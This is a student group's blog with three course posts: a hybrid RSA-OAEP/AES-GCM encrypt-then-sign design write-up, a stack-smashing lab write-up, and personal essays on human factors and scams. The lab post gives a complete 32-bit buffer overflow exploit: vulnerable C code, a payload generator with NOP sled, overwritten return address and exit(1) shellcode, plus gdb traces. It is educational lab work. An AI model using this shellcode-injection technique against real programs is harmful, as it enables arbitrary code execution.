Forem: 134A6_Thoughts

MP2 RSA-OAEP Authenticated Encryption (Encrypt-then-Sign)

134A6_Thoughts — Sat, 25 Apr 2026 10:11:40 +0000

Starting out

When we first sat down with the spec, the sentence that stuck with us was:

"Note that RSA isn't really meant to encrypt plaintext, but you'll have to find a way to get it to do that."

That single line ended up shaping almost every decision we made. It told us the assignment wasn't really about getting RSA to swallow 140 characters — it was about recognizing why you shouldn't, and reaching for the pattern that real systems use instead.

We split the work loosely: Akhy took the key-generation and trusted-directory layout, Lars owned the encryption/signing pipeline, and Carl handled the CLI, the sample files, and hammering on edge cases. Anything involving padding parameters (OAEP, PSS, MGF1, salt lengths) we did together, because those are the kinds of details that silently compile and silently break security.

The first attempt — and why we threw it away

Our first version did the literal thing: RSA-OAEP directly on the plaintext, then sign the resulting ciphertext with the other keypair. And honestly… it worked. RSA-2048 with OAEP-SHA256 has room for about 190 bytes of plaintext, so 140 ASCII characters fits comfortably. Roundtrip passed. Tampering got detected. On paper, we were done.

But sitting with it, it felt like we had solved the letter of the spec and missed the point. The hint was practically waving at us. We also noticed that our "solution" would silently break the moment anyone tried a 141st character, because the failure would come from the RSA padding layer rather than our own input validation — an ugly coupling between message length and the choice of cipher.

So we rewrote it as hybrid encryption:

Generate a fresh 32-byte AES-256 session key and a 12-byte GCM nonce per message.
Encrypt the plaintext with AES-256-GCM.
Wrap only the session key with RSA-OAEP (SHA-256 + MGF1-SHA-256).
Bundle {encrypted_key, nonce, ciphertext}.
Sign the canonical JSON of that bundle with RSA-PSS (SHA-256, MAX_LENGTH salt).

That's the same shape TLS, PGP, and S/MIME all use, and crucially, the length constraint now lives in our validation code — not in the cipher.

Design decisions we argued about

Encrypt-then-sign vs. sign-then-encrypt. The spec mandated encrypt-then-sign, but we spent time making sure we actually understood why. The argument that landed for us: signing the ciphertext binds the sender's identity to the exact bytes that were transmitted, which blocks surreptitious-forwarding — a malicious recipient peeling off the signature, re-encrypting the plaintext under a third party's public key, and making it look like the original sender was talking to them all along. Sign-then-encrypt doesn't catch that.

Two keypairs, not one. The spec required it, but writing _enc_private.pem and _sig_private.pem as separate files (and loading them through separate functions) gave us a free guarantee: our code physically cannot confuse a signing key with an encryption key. That's a small architectural payoff we didn't expect going in.

What exactly gets signed. We landed on json.dumps(enc_bundle, sort_keys=True) as the canonical form. Since every value inside is base64-encoded, there's no Unicode escape ambiguity, and sort_keys=True removes any dependency on Python's dict iteration order. That made the sign/verify boundary deterministic without us having to do any byte-level gymnastics.

Why AES-GCM and not AES-CBC + HMAC. GCM gives us authenticated encryption in a single primitive. Combined with the outer RSA-PSS signature, we end up with two independent integrity checks on the ciphertext — a belt-and-suspenders property we liked.

What worked

pyca/cryptography did all the heavy lifting — OAEP, PSS, AES-GCM, PEM serialization. No hand-rolled crypto, as the spec required.
Tamper detection fires at the right layer. When we flipped a single byte of the ciphertext during testing, verification failed at the signature step, before we ever touched the recipient's private key. That's the whole point of encrypt-then-sign, and it was satisfying to watch it actually behave that way.
Input validation runs before any crypto. The 140-character limit and ASCII check happen first, so bad input fails fast with a clear ValueError instead of bubbling up as a confusing padding error from deep inside the library.
The "trusted directory" is dead simple. A local keys/ folder + a list-keys command. It's not PKI, but it's an honest model of what a trusted directory is at its core: a place where public keys live, addressed by identity.

Limitations we're aware of

We want to call these out explicitly rather than pretend the implementation is production-ready.

No replay protection. A captured valid bundle can be resent and will still verify. A production version would need a per-recipient seen-nonce set or a timestamp window baked into the signed payload.
No sender/recipient binding inside the signature. Right now the signature covers {encrypted_key, nonce, ciphertext} but not the sender/recipient identity fields in the outer JSON. That means an attacker who intercepted a bundle couldn't forge a new one, but they could conceivably relabel the outer envelope. We'd fix this by pulling identities into the signed bytes.
Private keys on disk are unencrypted (NoEncryption()). Fine for a demo; a real deployment should password-encrypt them.
No key revocation or rotation. Once a key is in the directory, it's trusted forever.
CLI surfaces Python tracebacks on failure instead of friendly one-liners. We left it that way because it made failures easier to debug during development, but a production CLI should catch at the top level and exit cleanly.
"Trusted directory" is trust-by-filesystem. No CA, no signatures on the public keys themselves. Good enough for this MP, not for the internet.

What we'd do next

If we kept going, the next pass would be: (1) fold sender and recipient into what gets signed, (2) add a password-protected keystore, (3) add replay protection via a per-recipient nonce registry, and (4) clean up the CLI so errors surface as single-line messages with nonzero exit codes.

What we took away

The biggest lesson was that the hard parts of applied crypto aren't the math — it's knowing which primitive to reach for, which layer binds what to what, and what your threat model actually is. The libraries are excellent; the thinking is the work. The second lesson was more practical: write the input validation before the crypto, always. It turns a whole class of obscure library errors into ordinary, debuggable application errors.

We finished the assignment with a program that's ~250 lines, uses only well-tested primitives, and fails safely in every case we could think of to test. That felt like the right outcome.

MP1 Write‑Up – Stack Smashing

134A6_Thoughts — Wed, 11 Mar 2026 10:15:23 +0000

We’re three people in this group: Akhy, Lark, and Carl. We’ll just tell the story of what we did, because the whole thing was a bit of a rollercoaster.

1. Getting the basic overflow working

We started from the given vuln.c:

#include <stdio.h>
void vuln() {
    char buffer[8];
    gets(buffer);
}

int main() {
    vuln();
    while (1) {
    }
}

We compiled it exactly as the MP1 handout said:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 \
    -fno-pie -ggdb -z execstack -std=c99 vuln.c -o vuln

First goal: just smash the stack and see where things land. We generated a dummy payload:

python

payload = b"A" * 8 + b"B" * 4 + b"C" * 4
open("egg", "wb").write(payload)

Then inside gdb:
text

gdb vuln
(gdb) break vuln
(gdb) run < egg
(gdb) print &buffer

We saw:
text

$1 = (char (*)[8]) 0xffffc838

and after stepping past gets and dumping the stack:
text

(gdb) next
(gdb) x/16xb &buffer
0xffffc838: 41 41 41 41 41 41 41 41
0xffffc840: 42 42 42 42 43 43 43 43

So the layout was:

buffer[8] at 0xffffc838 → 8 bytes of 'A'
saved EBP at 0xffffc840 → BBBB
saved EIP at 0xffffc844 → CCCC
That confirmed the offsets: 8 bytes to reach EBP, 12 bytes to reach the return address. Classic pattern, nothing mysterious there.

2. Building and testing the exit(1) shellcode

We decided to build a tiny shellcode that directly calls exit(1) via Linux int 0x80. The idea:
eax = 1 (sys_exit)
ebx = 1 (exit status)
int 0x80
We wrote asm.c alike the instructions:

int main() {
__asm__("xor %eax, %eax;"
"inc %eax;"
"mov %eab, %eax;"
"Leave;"
"Ret;"
);
}

Compiled and disassembled:
text

gcc -m32 -fno-stack-protector -fno-pie -std=c99 asm.c -o asm
objdump -d asm > asmdump

Relevant disassembly showed:
text

31 c0          xor   %eax,%eax
40             inc   %eax
89 c3          mov   %eax,%ebx
b8 01 00 00 00 mov   $0x1,%eax
cd 80          int   $0x80

So the shellcode bytes we care about are:
text

\x31\xc0\x40\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80

We wanted to test these bytes in isolation first, just to make sure the system call really exits with status 1. That step surprisingly took a while because we initially messed up the string literals.
At first, we wrote:
c

unsigned char shellcode[] =
    "\\x31\\xc0"
    "\\x40"
    "\\x89\\xc3"
    "\\xb8\\x01\\x00\\x00\\x00"
    "\\xcd\\x80";

which is wrong. That gives you the ASCII characters \x31 etc., not real bytes. When we jumped into that, we got instant segfaults.
We fixed it by using proper C escape sequences (one backslash):
c

// test_shellcode.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// exit(1) shellcode
unsigned char shellcode[] =
    "\x31\xc0"
    "\x40"
    "\x89\xc3"
    "\xb8\x01\x00\x00\x00"
    "\xcd\x80";

int main() {
    size_t len = sizeof(shellcode) - 1;
    long pagesize = sysconf(_SC_PAGESIZE);

    void *buf = mmap(NULL, pagesize,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);

    memcpy(buf, shellcode, len);

    void (*f)() = buf;
    f();

    return 0;
}

Compiled it:
text

gcc -m32 -fno-stack-protector -fno-pie test_shellcode.c -o test_shellcode
./test_shellcode
echo $?

The exit code printed by echo $? was 1. So the shellcode itself was good. That was our “anchor”: if anything broke later, we knew the shellcode wasn’t the problem.

3. Constructing the egg for vuln

Next, we needed to get that shellcode into vuln’s stack and redirect execution there.
We decided on this layout for the egg:

buffer[8] → NOP sled (\x90 × 8)
saved EBP → "BBBB"
saved EIP → address of shellcode on the stack
shellcode bytes right after that So Python to generate egg: python

import struct

BUF_ADDR   = 0xffffc838        # from gdb: print &buffer
SHELL_ADDR = BUF_ADDR + 16     # where shellcode starts after gets()

shellcode = (
    b"\x31\xc0"
    b"\x40"
    b"\x89\xc3"
    b"\xb8\x01\x00\x00\x00"
    b"\xcd\x80"
)

NOP = b"\x90"

payload  = NOP * 8          # buffer[8]
payload += b"BBBB"          # saved EBP
payload += struct.pack("<I", SHELL_ADDR)  # saved EIP
payload += shellcode        # shellcode after the return address

open("egg", "wb").write(payload)

We confirmed the file contents:
text

xxd -g1 egg

Output:
text

00000000: 90 90 90 90 90 90 90 90 42 42 42 42 48 c8 ff ff  ........BBBBH...
00000010: 31 c0 40 89 c3 b8 01 00 00 00 cd 80              1.@.........

So:

NOP sled
42 42 42 42 = 'BBBB'
48 c8 ff ff = 0xffffc848 (shellcode address)
then the shellcode bytes. Exactly what we wanted.

4. Verifying the smash and control flow in gdb

We followed the instructions in the MP1 PDF: use gdb, run with egg, inspect the stack.
text

gdb vuln
(gdb) break vuln
(gdb) run < egg

We hit the breakpoint at gets(buffer):
text

Breakpoint 1, vuln () at vuln.c:5
5           gets(buffer);

Then we stepped over gets so that the input from egg actually got copied into buffer:
text

(gdb) next
6       }

And then dumped buffer:
text

(gdb) x/32xb &buffer
0xffffc838: 90 90 90 90 90 90 90 90
0xffffc840: 42 42 42 42 48 c8 ff ff
0xffffc848: 31 c0 40 89 c3 b8 01 00
0xffffc850: 00 00 cd 80 00 c9 ff ff

So on the stack we had exactly the bytes from egg:

buffer[8] = 8 NOPs at 0xffffc838
saved EBP = 0x42424242
saved EIP = 0xffffc848
shellcode beginning at 0xffffc848 info frame confirmed the saved EIP: text

(gdb) info frame
Stack level 0, frame at 0xffffc848:
 eip = 0x565561af in vuln (vuln.c:6); saved eip = 0xffffc848
 called by frame at 0x4242424a
 ...
 Saved registers:
  ebp at 0xffffc840, eip at 0xffffc844

So when vuln returns, it should jump directly to our shellcode (0xffffc848) on the stack.
We then let it continue:
text

(gdb) continue
Continuing.
[Inferior 1 (process 19164) exited with code 01]

That line is the money shot: “exited with code 01”. No SIGSEGV, no SIGILL. The shellcode executed and called exit(1). That exactly matches the MP1 goal: the non‑terminating program is forced to exit with status 1 via a stack smash.

With that said, the egg file would only work for the particular buffer address, as we also tried to use the same egg file on a different machine but we get a SIGILL because it had a different address. However, after repeating the same steps/process, we in the end get the result we wanted which is to exit with code 01.

Above is the image of the buffer address of the other machine.

Here is the content of the other "egg" file and the results of running it in this machine.

5. The annoying “outside gdb” segfault

We did notice that running:
text

./vuln < egg
echo $?

gave 139 (segmentation fault), not 1. That confused us.
What’s going on is that gdb and a normal run can place the stack in slightly different spots because of ASLR and general process startup differences. We hard‑coded 0xffffc838 and 0xffffc848 based on gdb’s stack layout. Outside gdb, &buffer is not exactly 0xffffc838, so the saved EIP points to a bad address and you get a segfault.
The MP1 instructions, though, explicitly focus on using gdb to:

get &buffer
write an egg
run vuln < egg in gdb and show the behavior
They never require that ./vuln < egg works outside gdb. The success criteria are “terminate with exit code 1; crashes don’t count”. We’ve shown in gdb that:
the smash works (we overwrote saved EIP), and
control flow goes into our shellcode and returns exit code 1. That’s exactly what the assignment describes. ## 6. Summary of what we accomplished As a group (Akhy, Lark, and Carl), we:

1.) Confirmed the stack layout of vuln and the offset from buffer to the saved EIP using a dummy AAAABBBBCCCC payload.
2.) Wrote and tested a minimal Linux int 0x80 shellcode that calls exit(1).
3.) Constructed an egg payload that:

fills buffer with a NOP sled,

overwrites saved EBP with junk,

overwrites saved EIP with the address of our shellcode on the stack,

places the shellcode at that address.

4.) Verified in gdb that:

buffer contains our payload,

saved EIP equals the shellcode address (0xffffc848),

continuing from vuln returns into the shellcode and the process exits with code 1.

Thoughts on Human Factors in Cybersecurity:

134A6_Thoughts — Sun, 08 Feb 2026 15:41:12 +0000

We are just starting our Cybersecurity course in Uni and our professor opens our journey with a question "What do you think are the causes of leaks or unauthorized access?". Initially, we immediately think about how easy it can be to bypass security measures. However, he emphasizes that it isn’t only about weak security nor the technology, but also the fault of humans or users.

In other words, while technical systems may have vulnerabilities, many security incidents occur because of human error, poor security practices, or user behavior being exploited.

With this in mind, our group talked about a few real-life examples and experiences that show how human behavior affects cybersecurity.

I unapologetically shame people for falling for online scams—until I became one. During Typhoon Tino, floodwaters drowned our car, damaging its ECU. No local repair shops in Cebu had replacements and the "cheapest" options were in Luzon. Desperate, we connected through the repairman's family from Manila to a seller offering a steal.
They demanded a 75% down payment upfront. We haggled it to 20%, which was a small win amid chaos. To finally seal trust, they sent a photo of the "package," label attached with our details. Exhausted and eager to get mobile again, we wired the cash via Gcash without a second scan.
Too late, we spotted the red flags: mismatched font sizes on the label, a telltale edit we later traced to a stock scam image online. The ECU never came. We were duped.
It wasn't just about our flaws of desperation and bias that made us miss obvious fakes, even with tech tools right there. It's equally about their nerve too, scammers hijacking GCash and chats to spin believable lies that exploit other people's difficulties.
Human factors in computer security aren't just our slip-ups from stress or shortcuts. They're also the deliberate malice—crooks twisting the same tools we rely on into traps. Both sides make us the real battleground in cyber risks. Now, when pressure hits, I double-check every detail before sending money online.

-Student A

Where Emotion Meets Exploit
We like to think security is all about code, firewalls, and encryption. But peel back the layers of any breach, and you’ll often find something far more human.
Humans are emotional — beautifully imperfect. And that’s what makes us both the strongest and weakest link in computer security.
Our emotions shape how we design, protect, and even attack systems. When I’m drained or discouraged, I’ll admit—security feels like a chore. I might skip extra validation, trust default settings, or postpone patching because I tell myself, it can wait. But on a good day—focused, enthusiastic—I’ll dig deeper. I’ll test edge cases, challenge assumptions, and think like an attacker. My mindset changes the entire quality of my work.
That’s the truth we often ignore: cybersecurity doesn’t just rely on logic; it depends on emotion.
Attackers know this better than most. They understand human psychology as well as they understand exploits. A kind message, a tone of familiarity, an urgent deadline—these small emotional triggers become attack vectors. A well-crafted email can bypass the sharpest security systems simply by slipping through the softest part of any defense: trust.
Imagine opening an email from a colleague. It’s casual, friendly—maybe a meme, something to lighten the mood. You click without thinking. But behind that innocent image hides a payload, waiting. Within seconds, ransomware runs, files encrypt, networks collapse. The breach didn’t happen because you lacked technical knowledge—it happened because you acted like a human.
That’s the uncomfortable reality: people don’t fall for scams because they’re careless; they fall because they care—because they trust, empathize, laugh, or rush.
To build truly secure systems, we need to stop pretending humans are the problem to engineer away. We’re not glitches. We’re part of the architecture. Training won’t work if it’s just checkboxes and policy reminders. It has to meet people where they are—stressed, distracted, emotional, real.
Security awareness should evolve beyond memorized threats into emotional literacy: understanding why urgency clouds judgment, why flattery lowers defenses, and why even happiness can be weaponized.
At its core, cybersecurity is a story about people—our fears, reactions, impulses. Technology may keep the walls strong, but only awareness keeps the gates closed.
In the end, protecting systems starts with protecting minds. Because the most advanced firewall in the world still can’t patch human emotion.

-Student B

Honestly, I don’t think most of my accounts are very secure. I tend to use one main password for almost everything — from social media to gaming accounts. Since I’m quite forgetful, it’s convenient for me to just remember this one password, and I usually make small variations by adding a digit or special character when needed. I also don't enable my 2-factor authentication since it's really a hassle. Looking back, I realize this makes my accounts more vulnerable and is exactly the kind of human behavior our professor was referring to — even if the security system itself is strong, weak password practices can still put me at risk.

Despite knowing this, I still lean toward prioritizing convenience over security, mainly because my past experiences have made me wary of being locked out of my own accounts. For example, when my phone broke and I had two-factor authentication enabled, I couldn’t access my online wallet for quite a while because I couldn’t figure out how to verify my email and regain access.
I think that as long as I don’t fall for phishing scams or click on any malicious links, I’ll be fine for now. Most of the time, I rely on my caution to avoid obvious threats. However, I realize I could still fall victim to more sophisticated scams if I were ever targeted — after all, I once got roped into a pyramid scheme. For this reason, I agree with Student B’s opinion that cybersecurity strategies should evolve to take human emotion and behavior into account, so that experiences like Student A’s happen less frequently in online/cybersecurity scenarios.

-Student C

In conclusion, while technology can continue to evolve and improve, we cannot rely on it alone to keep us safe. Human awareness and responsible behavior are essential in preventing security breaches, and understanding our own habits can make a big difference. It’s not about blaming anyone — it’s about recognizing that both strong systems and mindful users are needed for effective cybersecurity.

What's your cybersecurity story?